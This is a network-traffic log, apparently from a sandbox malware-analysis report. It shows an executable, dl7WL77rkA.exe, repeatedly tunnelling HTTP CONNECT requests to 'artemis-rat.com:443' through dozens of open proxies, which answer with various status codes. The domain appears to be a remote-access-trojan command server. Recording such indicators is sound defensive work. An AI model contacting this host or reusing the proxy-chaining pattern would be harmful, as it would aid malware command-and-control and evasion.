Mar 11, 2024 03:30:49.208221912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.405129910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.5	52769	115.244.127.164	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.123959064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.5	53414	171.247.244.103	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.128776073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.5	53421	200.10.73.210	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.133032084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.5	53416	143.64.8.21	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.144150019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.680324078 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.5	52568	117.160.250.138	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.203222990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.266588926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405419111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.462956905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.390310049 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.5	53411	103.190.54.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.203449011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.5	51830	154.118.228.212	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.213255882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.5	53422	138.36.150.26	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.222978115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092528105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.5	53502	152.32.187.164	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.223671913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.822922945 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.5	53415	111.88.240.201	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.223809004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.5	52862	206.189.145.23	59867	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.224260092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939275026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.997054100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083513021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108254910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.5	52869	92.205.61.38	24183	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.225617886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.5	53489	103.166.141.74	20074	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.238193035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.593506098 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.5	53509	147.28.145.213	10002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.238383055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.457787037 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.5	53444	60.211.195.150	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.238774061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.5	53449	94.20.183.172	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.238780975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.621969938 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.5	53487	51.161.131.84	63055	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.242630005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.044800997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.238976955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.5	53437	46.209.54.110	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.246335030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.685859919 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:32:54.819996119 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:32:55.919358969 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:32:57.222191095 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:32:59.680109978 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:33:04.677460909 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:33:14.673978090 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:33:34.487804890 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close
Mar 11, 2024 03:34:14.194001913 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.5	53424	113.204.4.142	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.256616116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.5	52898	185.132.179.72	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.266498089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.266673088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405417919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.462964058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.930130959 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.5	53534	35.185.196.38	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.268444061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.480669022 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.5	52929	119.196.168.183	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.270539999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.570518970 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.5	52954	92.205.110.118	3414	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.272221088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.404846907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405580044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.462977886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.5	53522	51.222.241.157	40351	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.290503025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939038038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.5	53531	38.162.23.230	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.291800976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.740510941 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.5	53004	162.215.219.157	48117	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.293189049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.5	53514	40.76.160.143	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.300955057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.5	53505	93.171.220.229	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.302968025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.701910019 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.5	51687	147.12.46.62	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.306176901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
